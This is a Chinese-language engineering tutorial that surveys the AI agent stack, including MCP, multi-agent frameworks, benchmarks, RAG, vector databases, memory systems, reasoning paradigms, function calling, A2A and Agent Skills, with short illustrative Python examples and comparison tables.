板块 02.1 · Agent 深度专题

Agent 技术深解
从协议到生产的完整地图

上一篇《Agent 演化》讲了「Agent 是什么、怎么分类、有哪些模式」。本篇带你深入 Agent 的具体技术:MCP 协议如何连接工具、多 Agent 框架怎么选、Agent 怎么被评估、记忆系统怎么设计、推理与规划怎么做、向量库怎么挑、观测体系怎么搭 —— 全是工程实战需要的东西。

9 大模块 30+ 框架对比 20+ 论文与协议 60+ GitHub 仓库

一、MCP(Model Context Protocol)完整生态

如果说 Agent 是 2024-2025 年最热的 AI 概念,那么 MCP 一定是最热的协议。它由 Anthropic 在 2024 年 11 月推出,目标直白:给 LLM/Agent 装一个「USB-C 接口」,让任何数据源、工具都能即插即用。

1.1 MCP 是什么:三句话讲清楚

Model Context Protocol(MCP)是一个开放协议,标准化了应用程序如何为 LLM 提供上下文与工具。可以把它理解为「AI 世界的 USB-C」—— 任何数据源、任何工具,只要实现 MCP,Claude / Cursor / Cline / Continue 都能直接调用。

MCP 解决的核心问题是:每接一个新数据源就要重写一遍胶水代码。在 MCP 之前,LLM 应用每对接一个新工具,需要写一套定制集成(N×M 问题)。MCP 之后,只要都遵循同一个协议,就变成 N+M 问题。

1.2 协议架构:Host / Client / Server 三件套

MCP 采用 Client-Host-Server 架构,数据层基于 JSON-RPC 2.0:

1.2.1 MCP 通信架构图

Host (Claude Desktop / Cursor)
stdio / HTTP stdio / HTTP stdio / HTTP
MCP Server
GitHub API
三大原语 = 任何数据源/工具的"USB-C 接口"

关键洞察:每个 Client 跟一个 Server 维持 1:1 有状态会话,所有通信走 JSON-RPC 2.0。这套架构让"加一个新工具"从改 N 处代码 → 只装一个 Server。

三大核心原语:

原语类比作用关键方法
Tools可调用的函数让 LLM 实际执行操作(查询、写文件、调用 API)tools/listtools/call
Resources可读取的数据向 LLM 提供结构化数据(文件、数据库记录、API 响应)resources/listresources/read
Prompts预设的提示模板让用户能快速选择预制工作流prompts/listprompts/get

1.3 生命周期:握手 → 操作 → 关闭

MCP 连接生命周期:

  1. Initialization:Client 发送 initialize 请求,声明协议版本与能力;Server 回复自身能力;Client 发 initialized 通知。
  2. Operation:正常通信阶段,所有消息必须符合协商的协议版本与能力。
  3. Shutdown:Client 发 exit 通知,Server 关闭连接,清理资源。

1.4 传输层:stdio 与 Streamable HTTP

MCP 当前定义两种标准传输机制:

1.5 官方 SDK 全家桶

Anthropic 与社区维护的多语言 SDK:

语言SDK 仓库说明
TypeScriptmodelcontextprotocol/typescript-sdkNode.js / Deno / Bun,生态最完善
Pythonmodelcontextprotocol/python-sdkFastMCP 框架,最易上手
Javamodelcontextprotocol/java-sdkSpring AI 集成,企业级
Kotlinmodelcontextprotocol/kotlin-sdkAndroid / 移动端
C#modelcontextprotocol/csharp-sdk.NET 生态,Microsoft 维护,1.0 已于 2026 年发布
Gomodelcontextprotocol/go-sdk2025 年发布,用于 github-mcp-server 等
Rustmodelcontextprotocol/rust-sdk社区维护
Rubymodelcontextprotocol/ruby-sdk社区维护

1.6 官方 Server 合集

GitHub 上 modelcontextprotocol/servers 仓库(21.4k+ stars)收录了 20+ 个官方参考实现 + 75+ 官方集成,覆盖以下场景:

此外,awesome-mcp-serversmcp.soSmitheryawesomemcp.com 上有上千个社区贡献的 Server,覆盖 90% 主流 SaaS 与开发工具。

1.7 MCP 客户端清单(谁原生支持 MCP)

1.8 MCP 开发工具

1.9 最小 MCP Server 示例(Python)

# 最简 MCP Server:提供 BMI 计算和天气查询两个工具
from mcp.server.fastmcp import FastMCP

mcp = FastMCP("hello-mcp-server", log_level="ERROR")

@mcp.tool()
def calculate_bmi(weight_kg: float, height_m: float) -> float:
    """根据体重(kg)和身高(m)计算 BMI。
    当用户询问 BMI 或健康相关问题时调用。
    """
    return weight_kg / (height_m ** 2)

@mcp.tool()
async def fetch_weather(city: str) -> str:
    """查询指定城市的当前天气。
    当用户询问天气时调用。
    """
    async with httpx.AsyncClient() as client:
        url = "https://wttr.in/" + city + "?format=3"
        resp = await client.get(url)
        return resp.text

if __name__ == "__main__":
    # stdio 模式,适合本地集成到 Claude Desktop
    mcp.run()

启动 Inspector 调试:

mcp dev hello_mcp_server.py
# 打开 http://localhost:5173 连接并测试

二、多 Agent 协作框架深度对比

单 Agent 在处理跨领域、需要多种专门能力的复杂任务时会很快碰到天花板。多 Agent 协作是 2024-2026 年 Agent 工程化的主战场,GitHub 上最热门的五大框架各有特色。

2.0 整体 Agent 体系架构(从底层到顶层)

① 应用层
▼▼▼▼ ② 编排层(多 Agent 协作) LangGraph (状态机)
▼ ③ Agent 核心(ReAct 循环)
↑ ↓ Reflection / Planning ←
▼ ④ 协议与接口层(MCP / Function Calling) Host Client(1:1)Server(JSON-RPC 2.0)
▼ ⑤ 基础设施层(Model + Memory + VectorDB + Tools)

五层架构:① 应用层(场景)→ ② 编排层(框架选型)→ ③ Agent 核心(ReAct)→ ④ 协议层(MCP)→ ⑤ 基础设施(模型/记忆/向量库/工具)。这一章后续所有内容都是这五层中某一层的展开。

2.1 五大主流框架横评

8 大 Agent 框架横评

显示 8 / 8

LangChain、LangGraph、AutoGen、CrewAI、MetaGPT 等 8 大 Agent 框架的开发者、Stars、核心范式、学习曲线、适用场景一文看懂。支持搜索、按列排序、关键词筛选。

核心范式适用场景链接
LangChainPython / TS110k+Chain / LCEL中等通用 LLM 应用、RAG 链、工具调用、文档问答
LangGraphPython / TS10k+状态机 / DAG较陡生产级复杂工作流、多 Agent 编排、人机协同
AutoGenPython / .NET42k+群聊 / 对话中等人机协作、代码助手、研究探索
CrewAIPython28k+角色 / 任务极易市场调研、内容生成、流程化多 Agent
AutoGPTPython170k+自主循环中等自主目标驱动、长期任务
MetaGPTPython40k+SOP / 软件公司中等代码生成、端到端软件开发
SmolagentsPython10k+极简 / Code Agent极易快速原型、轻量 Agent、教学
OpenAI Agents SDKPython / TS10k+Handoff 交接极易分诊路由、轻量串联、专家 Agent

2.2 架构范式深度对比

五大框架本质上是五种不同的协作哲学:

2.3 多 Agent 协作的 5 大架构模式

  1. Supervisor(中央调度):一个 Manager Agent 统一分配任务、汇总结果。LangGraph 经典模式。
  2. Peer-to-Peer(去中心化):Agent 平等通信,谁需要什么就找谁。AutoGen GroupChat 模式。
  3. Hierarchical(层级):管理者 → 执行者 → 工具调用者,三层金字塔。适合大型企业任务。
  4. Blackboard(黑板):所有 Agent 共享一个中央状态,谁有想法谁写,异步协作。
  5. Market(拍卖/竞争):多个 Agent 投标完成任务,价格最低/质量最高的胜出。适合资源调度场景。

2.4 CrewAI 实战示例:三 Agent 写报告

from crewai import Agent, Task, Crew

# 定义三个角色
researcher = Agent(
    role="市场研究员",
    goal="调研 2025 年中国 AI 编程助手市场,发现趋势和玩家",
    backstory="你是 10 年经验的资深市场研究员",
    allow_delegation=False, verbose=True
)

analyst = Agent(
    role="数据分析师",
    goal="对比主要玩家的技术路线和商业模型",
    backstory="你是 AI 行业分析师,擅长技术选型分析",
    allow_delegation=False, verbose=True
)

writer = Agent(
    role="报告写手",
    goal="将分析结果整理为 3000 字行业报告",
    backstory="你是顶尖行业报告撰写专家",
    allow_delegation=False, verbose=True
)

# 定义任务链
research_task = Task(
    description="调研 2025 年中国 AI 编程助手市场前 5 名玩家的产品定位",
    expected_output="包含 5 家公司核心信息的调研笔记",
    agent=researcher
)
analysis_task = Task(
    description="基于调研笔记,做技术路线和商业模型对比分析",
    expected_output="对比表格和结论",
    agent=analyst,
    context=[research_task]  # 关键:依赖前一步的输出
)
write_task = Task(
    description="撰写 3000 字行业报告,含执行摘要、市场分析、未来展望",
    expected_output="3000 字 Markdown 报告",
    agent=writer,
    context=[research_task, analysis_task]
)

# 启动
crew = Crew(
    agents=[researcher, analyst, writer],
    tasks=[research_task, analysis_task, write_task],
    process=Process.sequential,  # 顺序执行
    verbose=2
)
result = crew.kickoff()
print(result)

2.5 LangGraph 实战示例:带条件分支的状态机

from typing import TypedDict
from langgraph.graph import StateGraph, START, END
from langchain_openai import ChatOpenAI

# 全局状态(在节点间传递)
class State(TypedDict):
    question: str
    intent: str
    answer: str
    quality: int

llm = ChatOpenAI(model="gpt-4o-mini", temperature=0)

# 节点函数:每个节点是一个普通 Python 函数
def classify_intent(state: State) -> State:
    resp = llm.invoke(f"判断问题意图(技术/闲聊/投诉):{state['question']}")
    return {"intent": resp.content.strip()}

def answer_tech(state: State) -> State:
    resp = llm.invoke(f"作为技术专家回答:{state['question']}")
    return {"answer": resp.content}

def answer_chat(state: State) -> State:
    resp = llm.invoke(f"礼貌闲聊回答:{state['question']}")
    return {"answer": resp.content}

def escalate_complaint(state: State) -> State:
    return {"answer": "您的投诉已转接人工客服,工号 #12345"}

def quality_check(state: State) -> State:
    resp = llm.invoke(f"给回答打分 1-10:{state['answer']}")
    return {"quality": int(resp.content.strip())}

def route_intent(state: State) -> str:
    """条件路由:根据意图跳到不同节点"""
    if "技术" in state["intent"]:
        return "tech"
    elif "投诉" in state["intent"]:
        return "complaint"
    else:
        return "chat"

def route_quality(state: State) -> str:
    """质量不达标就重做"""
    return "redo" if state["quality"] < 7 else "accept"

# 构建图
workflow = StateGraph(State)
workflow.add_node("classify", classify_intent)
workflow.add_node("answer_tech", answer_tech)
workflow.add_node("answer_chat", answer_chat)
workflow.add_node("escalate", escalate_complaint)
workflow.add_node("check", quality_check)

workflow.add_edge(START, "classify")
workflow.add_conditional_edges("classify", route_intent, {
    "tech": "answer_tech",
    "chat": "answer_chat",
    "complaint": "escalate"
})
workflow.add_edge("answer_tech", "check")
workflow.add_edge("answer_chat", END)
workflow.add_edge("escalate", END)
workflow.add_conditional_edges("check", route_quality, {
    "redo": "answer_tech",  # 不满意就重答
    "accept": END
})

app = workflow.compile()
result = app.invoke({"question": "Python 中如何处理大文件?"})
print(result["answer"])

2.6 失败模式:多 Agent 的隐藏陷阱

多 Agent 系统上线后,90% 的问题都出在以下三个地方:

  1. 通信风暴:Agent 之间互相发消息,Token 成本指数级增长(单 Agent 是 1×,3 Agent 是 18×)。
  2. 循环死锁:Agent A 问 Agent B,B 反问 A,无限循环烧光 Token。需要最大轮次限制 + 终止条件。
  3. 幻觉级联:一个 Agent 产生幻觉,下游 Agent 把它当事实继续推理,错误被放大。

2.7 框架选型决策树

你的任务是什么? 快速原型,几天要 Demo → CrewAI(10 行跑通) 标准化流水线,角色固定 → CrewAI 需要多轮讨论、互相挑刺 → AutoGen 需要条件分支、循环重试 → LangGraph 专做代码生成、自动写应用 → MetaGPT 简单分诊 + 多个专家 → OpenAI Agents SDK 生产系统,要可观测、可调试 → LangGraph + LangSmith

三、Agent 评估基准全景

2024-2026 年,Agent 评估从「学术刷榜」转向「质量控制循环」。核心问题从「我的 Agent 多聪明」变成「我的 Agent 在真实任务里到底能完成多少」。

3.1 通用能力基准

基准题目数评估维度代表 SOTA(2025-2026)典型应用
GAIA466推理 + 多模态 + 工具使用(3 难度)~75%(H2/H3)通用助手能力
AgentBench8 个环境OS / DB / KG / 网页 / 购物 / 家居等Claude 3.5 ~60%真实场景综合
SWE-bench Verified500GitHub issue → 代码修复Claude Opus 4.5: 80.9% / GPT-5.4 Pro: 86%Devin / Cursor 类编码 Agent
SWE-bench Lite300同 Verified,更小子集同 Verified快速迭代测试
Multi-SWE-bench1,6327 种语言(Java/TS/JS/Go/Rust/C/C++)Claude Opus 4.5 ~30%多语言全栈
HumanEval164Python 函数补全GPT-5: 96%+基础代码生成
MBPP974Python 入门编程~90%+基础代码生成
LiveCodeBench持续更新真实竞赛编程题GPT-5: 80%+竞赛级代码
MMLU / BBH16k / 6.5k知识 / 推理前沿模型 90%+通用能力

3.2 工具使用专项

基准特点用途
Berkeley Function Calling Leaderboard (BFCL)多轮函数调用 + 实时更新工具调用能力金标准
ToolBench真实 API 调用通用工具调用
GorillaAPI 检索与调用HuggingFace 出品
τ-Bench(Tau-Bench)零售/航空客服场景,工具+用户+规则真实世界客服 Agent
ToolLLM / API-Bank大规模工具调用数据训练数据与基准

3.3 Web Agent 专项

基准环境关键特点
WebArena真实网站(电商/论坛/地图)812 任务,类人操作
Mind2Web真实网页 + 开放域通用 Web Agent
VisualWebArena视觉 Web 任务多模态必备
WorkArena / WorkArena++ServiceNow 企业知识工作企业级 RPA
OSWorld真实操作系统(Windows/Linux/macOS)通用计算机操作
AppWorld9 个应用 + 真实 API数字生活助手
TheAgentCompany模拟软件公司长程企业任务

3.4 选型建议

通用能力 → GAIA / AgentBench · 代码 → SWE-bench Verified · 工具 → BFCL · 客服 → τ-bench · Web → WebArena · 完整 OS → OSWorld

另外,实际项目最关键的是建立自己的小规模评测集(50-100 题)。通用基准是参考,自己业务的真实数据才是真相。

四、Advanced RAG 进阶

基础 RAG(Naive RAG)已经无法应对企业级复杂场景。2024-2026 年,Advanced RAG 百花齐放,从「向量化 → 检索」升级为「多策略融合 + 自反思 + 知识图谱」的体系。

4.1 RAG 演进时间线

  1. Naive RAG(2023 初):切块 + Embedding + 向量检索 + 生成。简单但只懂局部片段。
  2. Advanced RAG(2023 中-2024):查询改写、路由、混合检索、重排序(Re-Rank)、HyDE。
  3. Modular RAG(2024):组件化、可插拔、按需拼装。
  4. GraphRAG / Agentic RAG(2024-2025):知识图谱 + Agent 决策检索策略。
  5. CAG / Self-RAG / CRAG:反思、缓存、纠错的新范式。

4.2 主流 Advanced RAG 方案对比

方案GitHub / 论文Star核心思想适用场景
GraphRAG微软 / arxiv 2404.1613033k+LLM 抽取实体关系建知识图谱 + 社区检测 + 分层摘要全局性问题、跨文档推理
LightRAGHKUDS / arxiv 2410.0577910k+图 + 向量双层检索,增量更新快、Token 成本低中小团队通用
Self-RAGarXiv:2310.11511模型自己反思「是否需要检索」「检索结果是否相关」高准确性、低幻觉
Corrective RAG (CRAG)arXiv:2401.15884评估检索质量,不对就重检索或用 Web 兜底检索质量不稳的场景
Agentic RAG多个项目Agent 决策检索策略(用不用 RAG、用哪个源、查几次)复杂多源检索
HyDEarXiv:2212.10496用 LLM 生成假设性答案,再对假设做检索短查询、查询-文档语义鸿沟大
CAG(Cache-Augmented Generation)arXiv:2412.15605预加载整个知识库到上下文缓存,省去实时检索知识库小、能放进上下文
Multi-modal RAG同时检索文本/图像/表格/公式多模态文档

4.3 GraphRAG 详解

微软 2024 年 4 月推出,7 月开源,GitHub 33.4k+ stars。两阶段构建:

  1. 索引阶段:用 LLM 从文档抽取实体和关系,组成知识图谱,然后用 Leiden 算法做社区检测,为每个社区生成摘要。
  2. 查询阶段:支持 local(局部实体查询)和 global(跨社区主题查询)两种模式。

实测在跨文档推理、主题聚类问题上比 Naive RAG 提升 3 倍以上(微软内部测试)。缺点:索引阶段 Token 成本高、构建耗时长(百页文档需几十分钟)。

4.4 LightRAG:GraphRAG 的轻量化版本

港大黄超团队 2024 年 10 月开源,GitHub 10k+ stars,已入选 EMNLP 2025。核心改进:

4.5 向量数据库选型对比

RAG 的「最后一公里」是向量数据库。2025 年主流选型对比:

向量库GitHub Star部署混合检索量级适用
Pinecone纯 SaaS支持(需配置)千万级不想运维、快速上线
Milvus30k+开源 / Zilliz Cloud / 私有原生 HNSW/IVF + 标量过滤亿级+大规模、高并发、私有化
Weaviate13k+开源 / Cloud / 容器原生 BM25 + 向量 + 多模态百万-千万级复杂 Schema、混合搜索
Qdrant21k+开源 / Cloud原生向量 + 过滤百万级Rust 实现,性能强
Chroma13k+本地内存 / 持久化基础百万级原型开发、学习
pgvectorPostgreSQL 扩展基础百万级已有 Postgres 栈
LanceDB7k+嵌入式 / Serverless基础百万级Serverless、边缘
FAISS32k+Meta 开源,本地库亿级离线实验、嵌入到自己的服务

选型口诀:

4.6 Embedding 与 Rerank 模型

类型代表特点
EmbeddingOpenAI text-embedding-3-large(3072 维)闭源 SOTA,英文最强
Cohere embed-v3多语言、压缩维度
BGE-M3(智源)中文 SOTA、多语言、混合检索
Qwen3-Embedding阿里开源,中文优秀
M3E(Moka)中文轻量
RerankBGE-Reranker-v2-M3开源 SOTA,中文友好
Cohere Rerank 3.5商业 SOTA,英文最强

五、Agent 记忆系统

LLM 的上下文窗口是稀缺资源。Agent 在长任务、多轮对话、跨会话场景下,必须借助外部记忆系统。2025 年,AI 记忆领域迎来「MemX 混战」,数十个项目融资上亿。

5.1 记忆类型分类

类型时间尺度作用代表实现
短期记忆当前会话对话上下文、工具结果、临时状态LangGraph checkpointer、Agent state
工作记忆任务内当前任务的子目标与中间结果消息列表、scratchpad
长期记忆跨会话用户偏好、项目背景、关键事实Mem0、Letta、LangMem
语义记忆跨任务概念、关系、领域知识知识图谱、RAG
情节记忆(Episodic)跨时间过去发生的事件、上下文、结果Zep Graphiti、Letta archival
程序性记忆长期工具调用、行为模式行为模式缓存

5.2 三大代表项目

① Mem0 - 通用记忆层(生产级首选)

② Letta(原 MemGPT)- 分层虚拟上下文

③ Zep / Graphiti - 时间知识图谱

5.3 新兴项目

项目特点GitHub
MemUAI 伴侣场景,文件化组织,Agent 自主管理2.8k+
Memobase用户画像 + 事件流,<100ms 响应2.3k+
MemOS分层 OS 化设计,MemCube 调度,企业级1k+
MemTensorMemOS 背后公司,记忆张量,亿元天使轮
Supermemory通用 API,模拟人脑遗忘/近因效应13.2k+
LangMemLangChain 官方 SDK,Long-term + Background Memory
Cognee知识图谱记忆,开源

5.4 选型决策树

六、推理与规划范式

2022-2024 年是「Reasoning Engineering」爆发期。从 CoT 到 ReAct,从 ToT 到 Reflexion,这一系列范式构成了今天 Agent 思考能力的理论基础。

6.1 核心范式详解

① Chain-of-Thought(CoT)思维链

论文:"Chain-of-Thought Prompting Elicits Reasoning in Large Language Models",Wei et al.,NeurIPS 2022

让 LLM 一步步写出思考过程。零样本版只需加 "Let's think step by step"。

② ReAct(Reasoning + Acting)推理-行动

论文:"ReAct: Synergizing Reasoning and Acting in Language Models",Shunyu Yao 等,普林斯顿 + Google,ICLR 2023(arXiv:2210.03629)。GitHub: ysymyth/ReAct

把 Thought-Action-Observation 交错成循环:LLM 先想 → 调工具 → 看结果 → 再想。在 HotpotQA / ALFWorld / WebShop 上首次证明「思考 + 行动」组合显著优于单独使用。

③ ReAct 完整伪代码

def react_agent(question: str, tools: list, max_steps: int = 10) -> str:
    """ReAct 范式的极简实现"""
    history = []  # 累积 (Thought, Action, Observation)
    context = build_react_prompt(question, tools, history)  # few-shot + 当前问题

    for step in range(max_steps):
        llm_output = llm(context)
        # 解析 LLM 输出
        thought, action = parse_react(llm_output)

        if action.type == "Finish":
            return action.answer

        # 执行工具
        observation = execute_tool(action.tool, action.input)
        history.append((thought, action, observation))

        # 把新历史加入上下文
        context = add_to_context(context, thought, action, observation)

    return "超过最大步数,未完成"

# ReAct Prompt 模板(简化)
REACT_PROMPT = """你是一个会思考、会使用工具的 Agent。

可用工具:
{tools_description}

格式:
Thought: 你要思考下一步做什么
Action: tool_name[input]
Observation: 工具返回结果(由系统填入)
... (循环 N 次)
Thought: 我现在知道答案了
Action: Finish[最终答案]

问题: {question}
{history}
"""

④ Tree of Thoughts(ToT)思维树

论文:Yao et al.,NeurIPS 2023(arXiv:2305.10601)

把单一推理路径扩展为思维树,每一步可探索多条分支,通过 BFS/DFS 寻找最优解。适合需要创造性探索的复杂问题(24 点、填字游戏)。

⑤ Reflexion 自我反思

论文:"Reflexion: Language Agents with Verbal Reinforcement Learning",Shinn et al.,NeurIPS 2023(arXiv:2303.11381)

Agent 失败后,让 LLM 反思「为什么错了」,把反思存到记忆,下次避免同类错误。在 HumanEval 上从 80% 提升到 91%。

⑥ 其他重要范式

范式思想代表论文
Self-Refine自我迭代改进,无外部反馈Madaan et al., 2023
Plan-and-Execute先完整规划,再逐步执行LangChain 实现
LLM Compiler任务并行编译,提升效率Kim et al., 2024
Chain-of-Hindsight(CoH)用历史失败案例反思Liu et al., 2023
Step-Back Prompting先抽象再具体,减少错误传播Zheng et al., 2024
DEPSDescribe-Explain-Plan-Select 四步Wang et al., 2023

6.2 范式对比与选型

范式复杂度Token 消耗适合不适合
CoT数学、常识推理需查外部信息
ReAct通用工具调用无工具的纯对话
ToT高(分支搜索)创造性、需探索实时性任务
Reflexion中高可重试的任务一次性任务
Plan-Execute目标明确、流程清晰不确定性高

七、工具使用范式

工具调用是 Agent 区别于普通聊天机器人的核心能力。从 OpenAI Function Calling 到 MCP,工具协议标准化是 2024-2026 年最关键的工程化进展。

7.1 主流 Function Calling 协议

7.2 OpenAI Function Calling 完整示例

import json
from openai import OpenAI

client = OpenAI()

# 1. 定义工具(OpenAI 函数调用 schema)
tools = [
    {
        "type": "function",
        "function": {
            "name": "get_weather",
            "description": "获取指定城市的当前天气",
            "parameters": {
                "type": "object",
                "properties": {
                    "city": {"type": "string", "description": "城市名,如 北京"},
                    "unit": {"type": "string", "enum": ["celsius", "fahrenheit"], "default": "celsius"}
                },
                "required": ["city"]
            }
        }
    },
    {
        "type": "function",
        "function": {
            "name": "book_flight",
            "description": "预订航班",
            "parameters": {
                "type": "object",
                "properties": {
                    "from_city": {"type": "string"},
                    "to_city": {"type": "string"},
                    "date": {"type": "string", "description": "YYYY-MM-DD"},
                    "passengers": {"type": "integer", "default": 1}
                },
                "required": ["from_city", "to_city", "date"]
            }
        }
    }
]

# 2. 实现工具
def get_weather(city: str, unit: str = "celsius") -> str:
    return f"{city} 当前天气:晴,22°{unit[0].upper()}"

def book_flight(from_city: str, to_city: str, date: str, passengers: int = 1) -> str:
    return f"已为您预订 {date} {from_city}→{to_city} {passengers} 人航班,确认号:ABC123"

available_functions = {
    "get_weather": get_weather,
    "book_flight": book_flight,
}

# 3. 多轮对话 Agent
def agent_loop(user_input: str) -> str:
    messages = [{"role": "user", "content": user_input}]

    for _ in range(10):  # 最多 10 轮
        response = client.chat.completions.create(
            model="gpt-4o",
            messages=messages,
            tools=tools,
            tool_choice="auto"
        )
        msg = response.choices[0].message
        messages.append(msg)

        if not msg.tool_calls:
            return msg.content

        # 执行所有工具调用(支持并行)
        for tool_call in msg.tool_calls:
            func_name = tool_call.function.name
            func_args = json.loads(tool_call.function.arguments)
            result = available_functions[func_name](**func_args)
            messages.append({
                "role": "tool",
                "tool_call_id": tool_call.id,
                "content": result
            })

    return "任务过于复杂,终止"

# 4. 测试
print(agent_loop("北京今天天气怎么样?顺便帮我订一张明天到上海的机票"))

7.3 工具设计黄金法则

  1. 单一职责:一个工具只做一件事。
  2. 参数 Schema 清晰:每个参数都有 description 和 example,enum 限定取值范围。
  3. 只读和写入分离:read_filewrite_file 必须分开,写入类工具需要人工确认。
  4. 结构化错误:返回 JSON 包含 successerror_codemessage,方便 LLM 决策下一步。
  5. 幂等性:同一调用多次结果一致,便于重试。

7.4 Toolformer 与 Tool 选择研究

八、A2A(Agent-to-Agent)通信协议

如果说 MCP 解决了「Agent 如何用工具」,A2A 解决的是「Agent 如何与其他 Agent 协作」。2025 年 4 月 9 日,Google 在 Google Cloud Next 大会上发布 A2A 协议,联合 50+ 头部企业(Atlassian、SAP、Salesforce、Workday、LangChain 等),定位为 MCP 的「水平补充」。

8.1 A2A 是什么:Agent 之间的「世界语」

A2A 是一个开放协议,让不同框架、不同供应商构建的 AI 智能体能够安全地通信、交换信息、协调行动。无论底层平台是什么,只要遵守 A2A,就能即插即用。

8.2 核心设计原则

  1. 拥抱 Agent 自主性:支持非结构化协作,不共享内存也能合作。
  2. 基于成熟标准:HTTP + JSON-RPC + SSE,企业容易集成。
  3. 默认安全:兼容 OpenAPI 认证方案(OAuth 2.0、API Key)。
  4. 支持长时任务:从秒级到天级任务,带实时状态推送。
  5. 模态无关:支持文本、图像、音频、视频流。

8.3 核心概念:Agent Card / Task / Artifact / Message

8.4 A2A 核心流程

  1. Server Agent 托管 Agent Card
  2. Client Agent 发现并选择 Server Agent
  3. Client 发起 Task(tasks/send)
  4. 可选:设置任务状态监听(tasks/pushNotification/set)
  5. Server 执行任务,返回 Artifact
  6. Client 异步获取结果(tasks/get)

8.5 A2A vs MCP:不是替代,是互补

维度MCPA2A
发起方Anthropic(2024.11)Google(2025.4)
解决Agent ↔ 工具/数据Agent ↔ Agent
比喻USB-C(连接工具)普通话(连接其他 Agent)
协议JSON-RPC 2.0 + stdio/SSEJSON-RPC 2.0 + HTTP/SSE
关系Agent 处于主体,Server 附属两端对等,Agent ↔ Agent
典型应用本地工具桥接企业跨部门智能体协作

8.6 Agent2Agent 与 Agent Payments Protocol(AP2)

2025 年 9 月,Google 进一步推出 AP2(Agent Payments Protocol),可视为 A2A + MCP 的扩展,专门解决「Agent 替用户下单付款」的授权、真实性、问责问题。与 60+ 支付企业(支付宝、微信支付、Mastercard、Coinbase、PayPal 等)合作。仓库:google-agentic-commerce/AP2

8.7 A2A 生态(2025 年中)

九、Agent 开发工具链与生产级架构

最后,一个完整的 Agent 技术栈涵盖框架、可观测性、评估、部署、安全、测试六个层面。本节给你一张完整的「生产地图」。

9.1 框架层(7 大主流)

框架GitHub Star语言定位
LangChain / LangGraph118k+ / 10k+Python / TS最广泛使用、状态机编排
LlamaIndex42k+Python / TSRAG 与数据框架的事实标准
CrewAI28k+Python角色化多 Agent,易上手
AutoGen (AG2)42k+Python / .NET微软出品,对话驱动
Semantic Kernel24k+C# / Python / Java微软企业级 SDK
PydanticAI10k+Python类型安全、轻量
DSPy28k+Python把 Prompt 当作可优化程序

9.2 可观测性层(O11y)

工具Star类型核心能力
LangSmith商业LangChain 官方,Trace + Eval + 部署一体化
Langfuse15k+开源自托管、全栈 LLMOps,生产首选
Arize Phoenix10k+开源Embedding 漂移检测、检索分析
Helicone商业LLM Gateway + 成本监控
AgentOps开源Agent 专用,Replay + 异常检测
W&B Weave商业评测 + 数据集管理最强
MLflow20k+开源传统 MLOps + LLM 追踪

9.3 评估层

工具特点类型
LangSmith EvalsLangChain 官方,UI 友好商业
PromptFooPrompt A/B 测试 + 红队开源
Braintrust全托管评估平台商业
Patronus AI幻觉检测、合成数据商业
DeepEvalPytest 风格、CI 集成开源
RAGASRAG 专项(context_precision / faithfulness)开源
AgentEvalAgent 步骤级评估开源

9.4 部署层

9.5 安全层

9.6 测试层

9.7 完整生产级 Agent 架构图(参考)

用户界面层 Web / Mobile / Slack / API Gateway
▼ Agent 编排层 LangGraph / CrewAI / AutoGen / PydanticAI
LLM Opus 4.5
▼ 可观测性 + 评估层 Langfuse + LangSmith + DeepEval + RAGAS Trace / Token / 成本 / 质量 / 漂移 / 告警
▼ 安全 + 治理层 Guardrails + 权限 + 审计 + Prompt 注入检测

9.8 选型对照速查表

类别开源首选商业最强小白起步
框架LangGraphLangSmith 集成CrewAI
可观测性Langfuse / PhoenixLangSmithLangSmith
评估DeepEval / RAGASBraintrustLangSmith Evals
向量库Qdrant / MilvusPineconeChroma
记忆Mem0 / LettaMem0 托管LangMem
工具协议MCP 自建OpenAI Function Calling
Agent 协作A2A 自部署Google AgentspaceCrewAI

十、学习路径与延伸阅读

10.1 三级学习路径

🟢 入门(0-3 个月)

  1. 读懂 CoT / ReAct 论文,手写一个 ReAct 循环(100 行 Python)
  2. 用 OpenAI Function Calling 做一个「查天气 + 订机票」Agent
  3. 在 Chroma 中存几篇文档,搭建一个 RAG 问答
  4. 用 MCP Inspector + FastMCP 写第一个 MCP Server

🟡 进阶(3-12 个月)

  1. 掌握 LangGraph 状态机,搭建带 checkpoint 的生产级 Agent
  2. 用 GraphRAG / LightRAG 处理百万级文档
  3. 用 Mem0 给 Agent 加长期记忆,验证 LOCOMO 基准
  4. 接入 Langfuse + DeepEval,完成生产可观测 + 评估闭环
  5. 用 MCP 工具桥接你的内部系统(数据库、API)

🔴 高级(12 个月+)

  1. 设计多 Agent 协作架构(Supervisor + 专家),引入 A2A 跨域协作
  2. 在 SWE-bench Verified / GAIA 上达到 SOTA 80%+
  3. 构建企业级 RAG(混合检索 + 重排序 + Agent 决策 + 安全护栏)
  4. 研究 Agent Harness(可观测 + 评测 + 治理三件套),把 Trace 反哺 Prompt 迭代

10.2 必读论文清单

10.3 必收藏的 GitHub 仓库

十一、章节总结

十二、Agent Skills 完整图谱

2025 年 10 月 16 日,Anthropic 推出 Agent Skills,2025 年 12 月 18 日正式发布为开放标准(agentskills.io),成为与 MCP 并列的跨平台规范。本节系统讲清 Skills 的定义、核心机制、与相邻概念的差异。

12.1 概念定义:Skill 是什么?

官方定义(Agent Skills Spec 1.0):A skill is a folder of instructions, scripts, and resources that agents can discover and load dynamically to perform better at specific tasks. (Skill 是一个文件夹,里面装指令、脚本和资源,Agent 可以动态发现并按需加载,以便在特定任务上表现更好。)

一个 Skill 的最小结构:

my-skill/
├── SKILL.md          # 核心:必选,含 YAML 元数据 + Markdown 指令
├── scripts/          # 可选:Python/Bash 脚本,供 Agent 调用执行
├── references/       # 可选:长文档 / API 手册 / 补充材料
└── assets/           # 可选:模板文件 / 图片 / 静态资源

12.2 三大核心机制

  1. 渐进式披露(Progressive Disclosure) —— 3 层加载设计:
    • 第 1 层(始终加载):仅 SKILL.md 的 YAML 元数据(name + description),约 100 tokens/skill,这是 Agent 判断"是否相关"的依据。
    • 第 2 层(按需加载):完整 SKILL.md 正文(通常 < 5000 tokens),当 Agent 判断技能与当前任务相关时,自动通过 Bash 工具读取。
    • 第 3 层(深度按需):references/assets/ 中的辅助文件,Agent 在主指令要求时才去 fetch,上下文用量可视为"无上限"。
  2. 命名即路由(Naming is Routing) —— description 字段是触发器。Agent 根据 description 描述的"何时使用"来语义匹配用户请求,类似函数声明的 docstring。description 写得越具体,路由越准;写得越模糊,Agent 调用越保守。这是 Skills 与普通 prompt 最大的区别:它把"如何被找到"写进元数据本身。
